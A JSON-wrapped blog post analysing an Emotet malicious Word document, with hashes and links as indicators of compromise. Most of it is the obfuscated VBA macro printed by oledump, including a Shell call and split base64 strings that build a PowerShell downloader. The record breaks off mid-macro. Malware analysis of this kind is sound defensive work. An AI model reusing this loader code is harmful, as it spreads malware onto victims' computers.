{"id":1267,"date":"2019-02-14T22:04:02","date_gmt":"2019-02-14T22:04:02","guid":{"rendered":"http:\/\/www.herbiez.com\/?p=1267"},"modified":"2019-02-14T22:04:02","modified_gmt":"2019-02-14T22:04:02","slug":"2019-02-12-deobfuscating-an-emotet-maldoc","status":"publish","type":"post","link":"https:\/\/www.herbiez.com\/?p=1267","title":{"rendered":"2019-02-12 Deobfuscating an Emotet maldoc"},"content":{"rendered":"

This blog entry is going to cover how I managed to de-obfuscate the macro from the Emotet sample that I was able to grab. The maldoc can be found in my Github repo located here: http:\/\/github.com\/bloomer1016\/2019-02-12-Deobfuscating-Emotet-Maldoc<\/a>.<\/p>\n

\"\"<\/a><\/p>\n

Indicators of Compromise:
\n==========================
\nMD5 of Word doc: 35c716c82f9912cb1a57bf7ee72e0c53
\nVT: http:\/\/www.virustotal.com\/#\/file\/9fb5e5242394557e27ca3ccfc492f7db0f7474662148a8797953df702b4d78db\/detection<\/a>
\nAny.Run: http:\/\/app.any.run\/tasks\/0e428667-3602-489f-85ac-1f022e2c9c1f<\/a><\/p>\n

Analysis:
\n=========
\nSo to be honest, I was using this maldoc as a case to try to get better using oledump<\/a> from Didier Stevens. This all stems from his latest posts on the SANS ISC blog (http:\/\/isc.sans.edu\/forums\/diary\/Maldoc+Analysis+of+the+Weekend\/24626\/<\/a> and http:\/\/isc.sans.edu\/forums\/diary\/Video+Maldoc+Analysis+of+the+Weekend\/24628\/<\/a>). Unfortunately I was not able to get this maldoc de-obfuscated as easily as I hoped with his tool. The closet that I got with oledump was the following cleaned up obfuscated code:<\/p>\n

\r\nCMD: .\/oledump.py -v -s A10 \/Downloads\/Email_zip_file\\ \\(1\\)\/attach\/secure.accounts.docs.com\r\n-----\r\n\r\nAttribute VB_Name = "sKfw6m"\r\nFunction DsiufjK(rPP1jAE, wToiPvr)\r\nOn Error Resume Next\r\n   J5UUuW = 123061037 + Rnd(113821029 \/ ChrB(781545532)) * (KOOBJ15 * CStr(nCU1DV) + (721212395 * 935778426 - dw9RbQ * J3aLT4S * (nBmZw7Zd + ZQYnLzp)))\r\nSet L7zuIbtj = mahsn85\r\n   V9NaRBp = 95561692 + Rnd(957947317 \/ ChrB(117312524)) * (J6n6Ni * CStr(a7EBBTk) + (63234899 * 42872721 - ovAu45 * Dr73V6D * (i1ShnPJd + V9blDk)))\r\nSet bLLuAm = piEtG96\r\n   kobw56 = 545927644 + Rnd(581946775 \/ ChrB(607181138)) * (wRoKibm * CStr(sqHIXs) + (282809907 * 875422380 - trm3QUi3 * bCq8sa4 * (YKQibW + QYLnppq)))\r\nSet RYXzEjY7 = zKa8wzwa\r\nShell (rPP1jAE + iJf1R0 + jG4Ranf + rppKckZK + oM1fQI + nRaN1qpw), l6dXY99 + qnul14Cw + wToiPvr + tzKhPcU + tm0T1td + zEB7op\r\n   fdESF6 = 575508045 + Rnd(683532192 \/ ChrB(303497533)) * (jLUuzP * CStr(lIzzDBMQ) + (663769490 * 515866827 - KSjEhYc * TENapKzS * (m3KmGvq + uo5K85)))\r\nSet iQMazZ = DmWY1X\r\n   oERpw3 = 383717547 + Rnd(399915385 \/ ChrB(399256710)) * (vYRhKH4D * CStr(B9GMwTU4) + (603348749 * 303774170 - TjNsOt2S * zBCsvH9l * (QhuGLcAj + p50LBuT)))\r\nSet ILNXV9EK = K6AMEYz\r\n   zqCBZXJ = 548079610 + Rnd(771197523 \/ ChrB(751962899)) * (Du5G9N6 * CStr(BSd5a4w) + (480523241 * 29726740 - o1MoXz * qzQ3DrzY * (fwQ176Yi + ZXEtUllN)))\r\nSet lL0EPw = VNmiUua\r\nEnd Function\r\n\r\nFunction UOiYERH()\r\nOn Error Resume Next\r\nH57SuvkQ = 580923321 + Rnd(794405036 \/ ChrB(922132672)) * (iHzCJs * CStr(zkV9Dr) + (519194540 * 72757858 - cICcc6 * a4LjrPRR * (K9mTHvMT + kEEMhk)))\r\nSet GLp2RS = rW4GqwY\r\n   KlUqpAq = 17708137 + Rnd(707881123 \/ ChrB(51263178)) * (rkjuGi * CStr(iCHtLi) + (148797801 * 336525818 - KSsCzQFh * rA7lri * (SLD73usJ + ZG1VV11)))\r\nSet pzQpibN = FjBrRP0\r\n   OsiXQFj = 338100754 + Rnd(445330114 \/ ChrB(702107231)) * (MuhpkGrG * CStr(bw2KXm) + (80762172 * 499341496 - GRZjvF * ajdzrC * (PLupjYWF + bFs7P7Ci)))\r\nSet S84fWnku = EwQXT4u0\r\nQX0ipWjQ = "wersh" + "ell -" + "e J" + "ABIAE" + "wAMwA"\r\nW4muYS = 611167433 + Rnd(614748696 \/ ChrB(781594660)) * (fuPfln * CStr(U9AvEskE) + (858642824 * 260979276 - sKmAZGO * DOJJvP * (RZSJpVV + cBzNuV)))\r\nSet RbIPGfZ = Qt1lSdB\r\n   z3w9zn = 993073110 + Rnd(741779901 \/ ChrB(334354848)) * (MFXjaSK * CStr(V9rjsAwK) + (507201983 * 373487450 - j6hCWJ * jFlicO * (ukifDb4 + OQw2wO)))\r\nSet ZlJ1dEIU = QXIEdF\r\nqYGMCi2F = "zAFIA" + "QwBS" + "ADA" + "APQAoA" + "CcAS"\r\nTzUjia = 565698346 + Rnd(225118524 \/ ChrB(638188131)) * (cK5zSF3q * CStr(S1p6uJCo) + (653494707 * 327994882 - G3Gw7P * jrWE1NS * (TEHwLC9 + mQjj0A0)))\r\nSet BsdJmv = hikFh2\r\n   CzSFDc = 632134329 + Rnd(86595323 \/ ChrB(830203560)) * (BoAkuO * CStr(KqZVRq) + (609165067 * 436608025 - qzwQMo9 * Ds9O9z * (f7ivcUh + hbBYbBR)))\r\nSet ZivcVm = zVOcbh\r\nZzzVfP = "wB2" + "ACcAKw" + "AnA" + "GQATAA" + "nACsAJ" + "wB1AHA" + "AcgAnA" + "CkAOwA" + "kAEo"\r\nTXKcPvDT = 236589529 + Rnd(877971834 \/ ChrB(388169523)) * (HBiw30jH * CStr(Jh1rBfNz) + (444691419 * 228218004 - Vt2tHnq * uE9Q2ijN * (dwp05YEB + C7Ejol)))\r\nSet H33aXtRd = IAnmCRo\r\n   Cbnwmb = 446275897 + Rnd(161868866 \/ ChrB(164012177)) * (PUEsWO1U * CStr(cuTsqawk) + (616637866 * 634967740 - qMjIhdQ * ZVuL4D * (jBbQLir + wAojhi)))\r\nSet a2INrWDt = UihzXE\r\n   r98HzMT = 581348660 + Rnd(53715188 \/ ChrB(897420664)) * (pKU2LKi * CStr(ss2kNT) + (274942974 * 701914311 - lcFmn9Z * rpVWYKj7 * (i16IL9QG + tC3HXrK)))\r\nSet k3vnwMn = YaqXc8R\r\nzVCl3I58 = "ARwBU" + "ADk" + "AaQBZ" + "AE8A" + "YgA9AG" + "4AZQ" + "B3AC" + "0AbwB"\r\nkrRqwkL = 115930249 + Rnd(367062198 \/ ChrB(963166020)) * (wfZ4XkYu * CStr(W0bjcfVR) + (255655955 * 972165962 - iRQzY7D * cujvkVj * (F3VrQRP + jvFrFn)))\r\nSet GnhMcrXU = su2Jvl\r\n   FLio6M = 559670781 + Rnd(548770074 \/ ChrB(838715768)) * (nak9lG * CStr(RA2fnU) + (447465294 * 450247896 - dLB40O * XtuhFih * (IVdl1i + LPp2Tdud)))\r\nSet mE2bV1 = bbw5X89\r\nfcsnuE = "iAGo" + "AZQBjA" + "HQAIAB" + "OAGUA" + "dAAu" + "AFcA" + "ZQB" + "iAEM"\r\nm14DVL = 572995062 + Rnd(682774435 \/ ChrB(713694484)) * (CnNPstY * CStr(lidlnh4I) + (32789883 * 481696362 - LPpdlNFj * WIBfdvn * (bucYLWRZ + WoO32w)))\r\nSet oHfTsPQ = iHEHfOk\r\n   maFmfhG = 382677825 + Rnd(402723107 \/ ChrB(567869187)) * (hiIL3p * CStr(NpI7Q2u) + (246140479 * 273502882 - T5fznjK * RiDVzIz * (XqibVSES + hw2GiJ2)))\r\nSet nfmrcr = fwHIETcw\r\ncNsVZwis = "AbA" + "BpAGU" + "AbgB0A" + "DsA" + "JABQAG" + "YAdwBI" + "AGMAW"\r\nwQEJF5C = 910857363 + Rnd(735772532 \/ ChrB(646045182)) * (EKvQVU6 * CStr(JwMTOfsV) + (302030066 * 761120045 - Q7stFCpH * zEVElaMR * (Ztzb3z1Z + W3zwwOD)))\r\nSet PPvXfz = I4RJBwZV\r\n   MMwCzQk = 635618321 + Rnd(211664598 \/ ChrB(172405967)) * (cHhmFk * CStr(JzqwIkPU) + (835699373 * 889928129 - mvQaXAB * YVWJFp * (ULcwHd + w4OBQzT)))\r\nSet Rw1HOF = bsdTpC58\r\n   spHYft = 787943675 + Rnd(503285352 \/ ChrB(823021615)) * (GGSl8Djp * CStr(B43bwAH6) + (434043747 * 881188666 - wOGjjlQK * i9RvNSj * (D3UwvO8 + jjYKOUID)))\r\nSet Y6Zk7kO = CwwZfO\r\nSomS25ZG = "ABaAF" + "MAPQ" + "AoACc" + "AaAAn" + "ACs" + "AJwB0A" + "HQAJw" + "ArACcA"\r\nndWlmv = 950216595 + Rnd(508699961 \/ ChrB(660160967)) * (Q2Fw5w4 * CStr(YCZiDDBa) + (166636103 * 591485776 - MF5EAuBr * LR1CllA8 * (zZwrE3hi + RE2zEwK)))\r\nSet B3NdjzHn = VaNB5sz\r\n   PZBhBY = 432847934 + Rnd(740372105 \/ ChrB(341720823)) * (bErf4p * CStr(bqF0hm) + (687029270 * 950393171 - ktTliuB * NnGj6f * (zzZwcr + RMad6V)))\r\nSet MnXz7k8 = dRoaHKd\r\nGNc88i = "cAA6A" + "C8AJwA" + "rACcAL" + "wBk" + "ACcAKw" + "AnA"\r\nUOiYERH = QX0ipWjQ + qYGMCi2F + ZzzVfP + zVCl3I58 + fcsnuE + cNsVZwis + SomS25ZG + GNc88i\r\nEnd Function\r\n\r\nFunction B8waSCi()\r\nOn Error Resume Next\r\nXwR36w = 740956857 + Rnd(869941583 \/ ChrB(530943620)) * (tSr33Iti * CStr(IXD5ru) + (825502236 * 225898445 - pD1Vsi * PdKbEz * (cwiQM4f + WO9OB5)))\r\nSet JJzcVKY = KwHsSPZ\r\n   MnccV7 = 961190641 + Rnd(579445124 \/ ChrB(898137460)) * (Tmn4GCm * CStr(dPqURfh) + (903131872 * 722011649 - a4HzPP5 * YjjuY917 * (V5tnn08 + rZD2Sv)))\r\nSet awo2HUu = j67Tpk\r\nmm44hw = "GEA" + "JwA" + "rAC" + "cAZA" + "BhACcA" + "KwA"\r\nInO4O3Nf = 199648397 + Rnd(456529921 \/ ChrB(252932517)) * (S90uLjr0 * CStr(YT9qV8) + (203543474 * 467348574 - rCHVfI * zEmhoS * (ztRZFzp + iQL3i00n)))\r\nSet Q2nOCq = Wr7pq9\r\n   zcdKINwA = 305479612 + Rnd(453469133 \/ ChrB(364375221)) * (rcR0ckR * CStr(kpP3jv) + (140260638 * 45658419 - ti19I9zw * sjorwO * (cHlYw3u + NrA3Qzj0)))\r\nSet YJAowB4O = cESKof\r\n   Or9bom = 801021977 + Rnd(593364666 \/ ChrB(394078277)) * (uu9tbvb * CStr(lWwHzjQu) + (182045760 * 66368653 - qu16Wil9 * LVjHmpjp * (izZ532n + CZU8sE0)))\r\nSet EQ1Vj5Jd = ulNjnBKB\r\no8NUEiH = "nAG" + "YAYQBy" + "AGkAb" + "gBnAG8" + "AcwA" + "nACsAJ"\r\nWVGzsPp = 794294215 + Rnd(739163166 \/ ChrB(69831388)) * (uwT00uz * CStr(Lk18UDwV) + (742897564 * 330744520 - YFs2vkBA * V1MHPzp * (oQjNuP3 + uc0tkz)))\r\nSet fIOKvUWz = nMz0pP\r\n   KzY2MmM = 871634362 + Rnd(506657181 \/ ChrB(584139411)) * (iYBN4f * CStr(p4wT1YS) + (718321847 * 645022795 - m7YRzA * j2LwYpP * (PXoLZXl + EAwTiO)))\r\nSet fOLHNN2 = ZlEYnl\r\n   H0UFlvcY = 368496449 + Rnd(755538298 \/ ChrB(4852398)) * (SppvEM * CStr(A5bEt7C) + (48005019 * 485850505 - IHnvpZrs * Il9f92 * (zTSiNHE3 + qZV3BTQG)))\r\nSet AWXdXU2T = mFUMiaY\r\njzYz573 = "wB0A" + "GEAcgA" + "nACs" + "AJwAuA" + "CcAKw" + "AnAG" + "MAJwAr" + "ACcAb"\r\nSs7dvFBj = 658707985 + Rnd(741460773 \/ ChrB(863073318)) * (f0H93w * CStr(tzAuJLs) + (103099660 * 527807294 - UjYoVM * nwzw75 * (p3VjD9 + v7tl5TZ)))\r\nSet lfpMUw = ljzC0Ezl\r\n   u0sop6jn = 669096961 + Rnd(367437000 \/ ChrB(234394384)) * (jBjHPvh * CStr(EVDM8Rw) + (997570283 * 857621762 - kruGpMB * KIVzji5w * (VU8X4Xk + PwpfzJt0)))\r\nSet XCujCT8 = hYX0KZ\r\nJ6EaO6 = "wBtAC8" + "AJw" + "ArA" + "CcAcgB" + "0AF" + "EAdwBU"\r\ncfWDMuO = 561080402 + Rnd(307034837 \/ ChrB(452682044)) * (lRkuXEFd * CStr(Of7DVN5) + (121958036 * 686562204 - rusNANjM * NrkZTf * (iYUjEO2 + VBoLvw)))\r\nSet b3jW2fRs = pWoBr5\r\n   VSNjYf = 938352640 + Rnd(281385414 \/ ChrB(305682240)) * (p34Ruh1 * CStr(MUvAh7tT) + (680785701 * 180003934 - GOUWj2O * F1UNhOLI * (AJUzFhN + nmlHOMp)))\r\nSet wNpl49I = o0siL5z\r\n   Xqms33DF = 860284994 + Rnd(816974520 \/ ChrB(432755606)) * (BUSGn3 * CStr(jF1vo4k) + (283074538 * 474804983 - t0ZjrX * nfwzUlsF * (ssR5Uul + L0czXdT2)))\r\nSet nktm8wJ = bK7wwn\r\nwoo96Zz6 = "ACcAK" + "wAnADU" + "AJw" + "ArACcA" + "NQB6" + "AEAA"\r\njhoci1Oj = 249824459 + Rnd(385038570 \/ ChrB(802697655)) * (isaVuW * CStr(wjRU7A6K) + (138134194 * 991762995 - O35wi7 * qiNqQO * (ST6Ph5r9 + f1TVGY)))\r\nSet zswl1zw5 = SlErsJw\r\n   RqSbml7G = 493294547 + Rnd(941951185 \/ ChrB(107727560)) * (Ej9pZi * CStr(DtTb87) + (470117345 * 906077628 - DJlhdMA * f8CEo1H * (VRknGtP + AoodLHSC)))\r\nSet cGvo97v = iok110\r\n   XcutWDO4 = 590959662 + Rnd(964447523 \/ ChrB(72472530)) * (uiA0JR * CStr(zYmrDH) + (414704443 * 283378948 - b3zjv2p * RpDO00 * (QCN0Az + CHCT6wl)))\r\nSet cvPTwI = DcY7Knrq\r\nzpfFBH = "JwAr" + "ACcA" + "aAB0AH" + "QAcA" + "AnACs" + "AJwA6" + "AC8ALw" + "AnACsA"\r\nqPSOSzr = 273662946 + Rnd(301592405 \/ ChrB(403393355)) * (kciM5LYD * CStr(P1E8JAS0) + (476476745 * 936633883 - NIX2dJn * o8oVG23t * (iXJ8cKU + wT6lTHMV)))\r\nSet kOaOuf = fDIaPFj\r\n   lV7a7Wih = 29791594 + Rnd(330322809 \/ ChrB(49106137)) * (RKVHZp6Q * CStr(jUa7Lf) + (410399670 * 571741316 - UbhYIwIs * KBDWSMN * (JJa6TQ + VSCmvli)))\r\nSet j79mjMpL = OEn0RGj\r\nbOIDQsaj = "JwBm" + "AGkAJ" + "wArAC" + "cAbABl" + "ACc" + "AKw"\r\nnjDMcZ = 65144999 + Rnd(867128970 \/ ChrB(155940769)) * (EWFUh5t * CStr(mEOimR) + (672095181 * 533618897 - OrKJ9jLM * BtkjPpK * (VMFtFWq + iKtjAdY)))\r\nSet KGuWrLXF = kS8HfCb\r\n   EpfAUYB = 151644257 + Rnd(98819593 \/ ChrB(942538894)) * (cOPXaFlZ * CStr(CSY3wLKC) + (910136498 * 254367424 - mwKEdWjI * RTmMDBh * (jXPmMl + r0DCSKk)))\r\nSet LWmO17i = EQkHJisO\r\nJ8cCvsJ = "AnAC4" + "AbABhA" + "HUAYQ" + "BzAGk" + "Abg" + "BoAC4" + "AYwB" + "vAG0"\r\nB8waSCi = mm44hw + o8NUEiH + jzYz573 + J6EaO6 + woo96Zz6 + zpfFBH + bOIDQsaj + J8cCvsJ\r\nEnd Function\r\n\r\nFunction BIBrlzL()\r\nOn Error Resume Next\r\nsalW3cd = 897688160 + Rnd(173242530 \/ ChrB(572437022)) * (Gzmr88 * CStr(s5L1Fu) + (505833081 * 87354455 - k22CKl * zK8kYkk * (Vi736d0p + nRI8Yo)))\r\nSet zJFmAjVA = OflPaw\r\n   SVSj7IL = 498493456 + Rnd(257208968 \/ ChrB(175405816)) * (sOQj7ssG * CStr(i86MMLzA) + (133236746 * 143755478 - WobX5lw * EXHKbEB * (fmKovU + wArPCcaW)))\r\nSet EizGRqS = pBuGvp1\r\nLvY3XP = "AJw" + "ArA" + "CcA" + "LwAn" + "ACs" + "AJw"\r\nsdbVwkcl = 994524332 + Rnd(220288436 \/ ChrB(179756893)) * (IfrPWDOt * CStr(YipZKP9S) + (717361710 * 557880855 - bvJuusS * k3RvKJXm * (AAi9wGK + B6c26w9)))\r\nSet fSfbLN = Uo0Fkpw9\r\n   ankR7E = 139855470 + Rnd(657506679 \/ ChrB(209285051)) * (GTcMEiE * CStr(DR6qaozi) + (403650313 * 120336883 - ws9WibA * sU48jtPl * (iM5PNs51 + hPF6AJ)))\r\nSet rjHESDN = l46i4l\r\nDcvnnls = "BQAC" + "cAK" + "wAnAF" + "gAZQBo" + "AEwA" + "JwA" + "rACcA" + "UAAnAC"\r\nDQRBBiZ = 129612578 + Rnd(158530774 \/ ChrB(979388377)) * (cmZZj5m * CStr(TO4qOPa1) + (996308587 * 268788261 - JAfOvvk5 * XGC7UDP * (vlhqBYUz + OKs3sXm4)))\r\nSet GCaYBwwo = TkNfSEoU\r\n   Mud3Tm = 254708547 + Rnd(546893607 \/ ChrB(656376276)) * (VuujdIqE * CStr(CVvKYK) + (679619170 * 309913694 - LmKFnp3K * Z4o4zcv * (OMa1BMZ + wbjOi7mw)))\r\nSet wzPfmPsI = T6Z043hw\r\n   rfHzP8Z5 = 779452360 + Rnd(314524005 \/ ChrB(434963530)) * (QBz6aLW * CStr(mO98tV) + (75953258 * 777698624 - rk7MsQBp * zpKVk0N * (VzwAjv31 + EzAvkK)))\r\nSet qEpZfjR = DnXtHl\r\nBkabza = "sAJwBQ" + "AGw" + "AQA" + "AnACsA" + "JwBo" + "AHQAdA"\r\nzziwRDBb = 705064820 + Rnd(15520999 \/ ChrB(155267771)) * (LfJvfTt * CStr(LCjivZa) + (655770653 * 621557200 - sH9Ek4 * LYsCkwh * (aPsiiikc + OlADY70d)))\r\nSet ELl3QD0 = wsOKsJXf\r\n   iSwATJ7D = 117721301 + Rnd(410169800 \/ ChrB(903695667)) * (iHJ6jJ * CStr(Gwo54j) + (14831678 * 668017117 - JFRvLWjw * WkA7M3NM * (u8XkhiJF + wX1bsWB)))\r\nSet pZu1ishz = BVzZbEOs\r\n   AtDAi4 = 79192877 + Rnd(356646810 \/ ChrB(193150959)) * (aoA2az * CStr(LOb0jNM) + (577273781 * 10214071 - RwhbP27 * fkaCrop * (FlFIbj0 + bzRTE0sZ)))\r\nSet KvAiiVzn = P2hzC5v\r\nwbqHZhV = "AnA" + "CsA" + "JwBw" + "ACcA" + "KwAnA" + "DoAJwA" + "rAC" + "cALwAv" + "AGEA"\r\nSN9EOt = 400801773 + Rnd(706481524 \/ ChrB(212746292)) * (pJzzDbE * CStr(BVihzT6f) + (537372501 * 220808891 - FivJH6WF * fmLmiPa * (i3F0Bp + vz4K0r)))\r\nSet iBq7fsTh = wVLvqEDA\r\n   kpApXD = 162495480 + Rnd(792398794 \/ ChrB(649698527)) * (ZjMwL1wW * CStr(avAOshlF) + (509792796 * 554562066 - uFzVoWK * Rzr8ih * (fSoYIL + WofirI)))\r\nSet CqGBzLc = iK6TRK0A\r\n   QrPd0du = 571751711 + Rnd(596249814 \/ ChrB(290889878)) * (Nm3GRu7 * CStr(srhXaJ) + (720783157 * 982961732 - jilpU4 * pbrP9z * (ZHA8GhwP + lFiTBk)))\r\nSet cEp8iMGk = dlsrvl\r\nnDv43V = "JwArA" + "CcAbgA" + "nACsAJ" + "wBn" + "AGkAcg" + "BhAH"\r\nZ6swz6 = 439748052 + Rnd(831622495 \/ ChrB(404758131)) * (iT1dj2 * CStr(OsV0Oabj) + (823614072 * 607952038 - WQu1kdF * rXimkRB * (HACk4iI + SXWmNtF)))\r\nSet iA4Fw5c = pWoIZ2T\r\n   n18jT6 = 952144196 + Rnd(230294134 \/ ChrB(425223701)) * (E63TCnf * CStr(wHztkj) + (400904022 * 632467969 - r5jZ1T * tbVUAIDU * (w1PIRBKm + zwjT5J)))\r\nSet cfBAB1m = hHopPJro\r\n   Qss2NEcF = 361089100 + Rnd(965824406 \/ ChrB(716103464)) * (lj2OjV9 * CStr(POAaPUz) + (982453181 * 801390467 - JtiF4C9E * NiRcvtJ * (PMM8Zd + qIRXKNHd)))\r\nSet oUjW4J = jt9iko\r\nrWLso0 = "MALgAn" + "ACsA" + "JwBv" + "AHIAJ" + "wArAC" + "cAZw" + "AvAH"\r\nmtz3DZX = 962115688 + Rnd(186144534 \/ ChrB(171845330)) * (AVs08A * CStr(SolOHZ5) + (162493122 * 948977706 - wSzPGBW4 * WOADo9 * (Ii8ISBE + noiNApK)))\r\nSet KFl8kGmS = iLda4zw\r\n   caBTAmqM = 871765078 + Rnd(707258343 \/ ChrB(507267468)) * (BIp99Gz * CStr(ojjioYnr) + (928811235 * 513266027 - TMfp2vfS * QAU746 * (LMEunc + wSjKw0w)))\r\nSet wKTGVRT = MjOrirqr\r\njiC3ZwNt = "gAJwAr" + "ACcAOA" + "BCAC" + "cAK" + "wAnAG" + "oAYQB" + "NAC" + "cAKwA"\r\nwM1jwl1h = 80999420 + Rnd(445577673 \/ ChrB(144647992)) * (WwFwvU * CStr(j2jZNZ) + (404611844 * 802660200 - LsmdTW7P * toRX6I * (N3SzuzRU + fLbt7d)))\r\nSet Z9cs2f = KCjJiE\r\n   SAuc9T1G = 521046457 + Rnd(991904743 \/ ChrB(334991763)) * (UkjtcWo * CStr(EwKCdiA) + (338337561 * 636398123 - ZuYfKj * UfLN9mE * (iVwNz1 + P71SGLWw)))\r\nSet hMDi3m = A4jMZYw\r\n   NknRZU1L = 947509473 + Rnd(456253818 \/ ChrB(316982394)) * (sQ5fdSQA * CStr(QziCoroP) + (280977523 * 226482944 - wTrLE9 * JiofpJ8z * (rw42Ub + JdRMCs)))\r\nSet RlwSOSRm = J9Wfuzh8\r\nNpY8wL9 = "nADQ" + "AJw" + "ArA" + "CcAN" + "AAnA" + "CsAJwA"\r\nwl7PnKt = 339086241 + Rnd(587795483 \/ ChrB(159454497)) * (mYKEPfo0 * CStr(zU8Tljd) + (914514087 * 730759206 - QwMOQ3X * vmLtvn7 * (bG6CaomR + K2pa5Ra)))\r\nSet s0mQm4nT = c9km8M\r\n   GM27B0 = 935041082 + Rnd(773137296 \/ ChrB(937261156)) * (u86X8k * CStr(YCFSEMc5) + (102353533 * 556183881 - Nv6tXkGS * riO5GR8C * (zPaFC4z + DzNXqvI)))\r\nSet AWdnMr = DKFL8E9\r\nShl9iw = "0AEkA" + "QABoAH" + "QAdAA" + "nACs" + "AJw" + "BwACc" + "AKwAnA"\r\nb8tqLvh = 740872502 + Rnd(958053801 \/ ChrB(844614177)) * (wYNlRjnA * CStr(w0hCqNHG) + (278944652 * 239573739 - tJIFBLE4 * IVMK0jm * (bzzBtJI + f2jI8J)))\r\nSet XMhb7s = rLzfOld\r\n   Ujzz0k = 496985461 + Rnd(963076803 \/ ChrB(572193659)) * (NzXiwwP * CStr(IAwXoj) + (937109883 * 110568400 - lzdUG7v * RiSFzhL * (M99kQf + mZKZoXz)))\r\nSet swcRlCaw = s601d1s\r\n   ivOPAV = 947449998 + Rnd(912092045 \/ ChrB(427464764)) * (pfbuo5j * CStr(dPYOPU8) + (577691146 * 752099965 - lXm0KRW * U5kS64r * (hbWv1f + z0pYWJu)))\r\nSet V4cjWiA5 = iFTWmkT\r\nzhGozS = "DoA" + "LwA" + "vAGEA" + "ZABzAH" + "UAaQB" + "kAGU"\r\nBIBrlzL = LvY3XP + Dcvnnls + Bkabza + wbqHZhV + nDv43V + rWLso0 + jiC3ZwNt + NpY8wL9 + Shl9iw + zhGozS\r\nEnd Function\r\n\r\nFunction wBuzmLiw()\r\nOn Error Resume Next\r\nvNrK59 = 956706527 + Rnd(818839896 \/ ChrB(796694744)) * (NHaPKlrO * CStr(NcdZw8Mj) + (337452864 * 740566261 - cskorLpR * C8fChbIh * (ZVovNvI + Pcwfijro)))\r\nSet ajPlhZj4 = nYzD3RM\r\n   lDoFh0l = 472973831 + Rnd(808105059 \/ ChrB(834895767)) * (winr3f * CStr(JmAJACGd) + (874977290 * 543129242 - jWY6wzKs * OBIW9RhL * (XGRFCiE + GlQrNhmG)))\r\nSet CVTLiV0A = q7rUkb\r\n   PnSizzU = 213939234 + Rnd(774407036 \/ ChrB(371253078)) * (LI11W9 * CStr(boSXYXZk) + (766663396 * 408958789 - nsdUNPA * YrQMQb70 * (HqS2oV + XZtbWU)))\r\nSet ZpfmH9 = D8CLH6cl\r\nqc2z0SEi = "ALgBjA" + "GwAJwA" + "rACcAd" + "QBiA" + "C8AeQ" + "AnACs" + "AJwA3A" + "CcA"\r\nlbU0oKiJ = 988155962 + Rnd(209797982 \/ ChrB(816298229)) * (SLM5jYVq * CStr(AV1tQoa) + (744496409 * 566978797 - tp1aiXp * ozZlwlkB * (cGHGTow + ZjcPYU)))\r\nSet SiCAqcz = wO6oEY\r\n   IIfvfQ = 126723074 + Rnd(435246359 \/ ChrB(239927486)) * (Iwb2OvdJ * CStr(pmHtUpiO) + (274313895 * 667423204 - wT9PHuL * Dj4lNf * (fPAbJWjY + fnM8nA)))\r\nSet G30ot8Gz = LHHKRj\r\n   ZGimFT = 448910842 + Rnd(975006233 \/ ChrB(902959419)) * (DquEND3h * CStr(qRtwwj) + (694330149 * 839966900 - UQmifl * itIzz8 * (QDciJik + qvzTtuII)))\r\nSet pDMjlAz = uBbvvW\r\nOujhvq7b = "KwAnA" + "DcAUQB" + "UAEsA" + "aABW" + "AEAAa"\r\nJNkiz3t = 972918120 + Rnd(62913320 \/ ChrB(675933919)) * (TLltLFr * CStr(vq5uWh1) + (117545973 * 552808295 - uJlddw * KHUJTIK * (wXkuX1Qh + WU42fp1f)))\r\nSet GQWRRib = fmMMHLK\r\n   LhWNjJ = 422361797 + Rnd(825988100 \/ ChrB(960446742)) * (unQbwl5 * CStr(RBHvYS5) + (371852211 * 669689825 - SbnCHit * VBGmPuw * (Mfj3rq + fzQPDJs)))\r\nSet XANTP2 = JT6ffnd\r\nQV7zAXF = "AAnAC" + "sAJwB0" + "AHQ" + "AcAAn" + "ACsAJw" + "A6AC8"\r\nccEjDY = 754402666 + Rnd(918619055 \/ ChrB(332129654)) * (oOdci46m * CStr(iGQzdXZn) + (365204995 * 167486757 - T9LUVwT * iZZ3O2R * (JoKf8V + iBUR82LZ)))\r\nSet OKhJTRZ = s7OjIwG0\r\n   IoDhaM = 680309150 + Rnd(409541587 \/ ChrB(272583767)) * (w77M0s * CStr(KIOUAj) + (230196283 * 737336328 - NojRw9VK * Qcrz7p * (onJOQb + vUD9Mc)))\r\nSet BDpnH92 = J1tabXUz\r\nBzjlMR1F = "ALwBt" + "AGkAY" + "wBoA" + "GEAZQ" + "BsAHc" + "Acg"\r\nYEZYKz = 484079901 + Rnd(856252385 \/ ChrB(453031564)) * (ni7woC * CStr(JKCbiHz) + (524843583 * 525322135 - Q8appC1 * fAi2So * (QLbYIcd1 + vRXR8Jz)))\r\nSet R3RuzH = JlKI1m\r\n   d1qKOZ4 = 569587438 + Rnd(40491157 \/ ChrB(795065016)) * (XuzjUS * CStr(DZd4Q6L) + (484350220 * 264894368 - EOzuWb * XPiDk4 * (CJoPjWcj + p4SNZS8)))\r\nSet Fo0dE3BC = S3AzFJU\r\nOQKf7zP = "BpAG4" + "AZwBs" + "ACcAK" + "wAnAGU" + "AJwArA" + "CcAcgA" + "uAG" + "MAbwAn"\r\niPajiivw = 758049099 + Rnd(29968186 \/ ChrB(84134420)) * (zpJCJLqM * CStr(lPirktdA) + (454640686 * 979235537 - Ysphul * Gw2Kmaf * (kLvlUrR0 + CRBnzS)))\r\nSet WXlbEj = vYXFJN6J\r\n   JJBzKd0 = 533760493 + Rnd(204798771 \/ ChrB(972421293)) * (NRAdWzj4 * CStr(kjTTa5sC) + (597516013 * 796959116 - EZXt08 * WTW13z * (DhjJtWb + rDFwKXL)))\r\nSet KkGm1lzt = IdblLF9\r\n   aUmOd6IY = 813499503 + Rnd(892580030 \/ ChrB(229282420)) * (RSLoKM * CStr(S4zDjIX) + (92456921 * 676503421 - VVCFZLfI * DUdaRK * (ZlrvMJaz + ouTITP4r)))\r\nSet ncoDSN = SnS9SVL\r\nds84PI = "ACs" + "AJw" + "BtAC8A" + "SQBSA" + "FkAWQ"\r\nEnFmNMk = 158944847 + Rnd(495498364 \/ ChrB(317397199)) * (Odn3lV05 * CStr(Ho8sazts) + (643924693 * 122337613 - nsBzvw * iPdW9V61 * (Nw0Ria + ozZwp7B)))\r\nSet v2vjLAoO = itE24Z\r\n   s53wzV4 = 433634640 + Rnd(637973148 \/ ChrB(324097061)) * (QL2bUcc * CStr(Qr7U65E) + (601877437 * 277611535 - wQEmdcQh * C8fzwrY0 * (ppDhM7 + WzzWsRhD)))\r\nSet w3L5Mi = WjGMplSZ\r\nbZjAXG = "AnAC" + "sAJwBx" + "AFAAY" + "gA1AC" + "cAKwAn" + "AE4AJw" + "ApA" + "C4AUwB"\r\nzJaNqwG = 899556606 + Rnd(323850921 \/ ChrB(502299257)) * (ZBRanD * 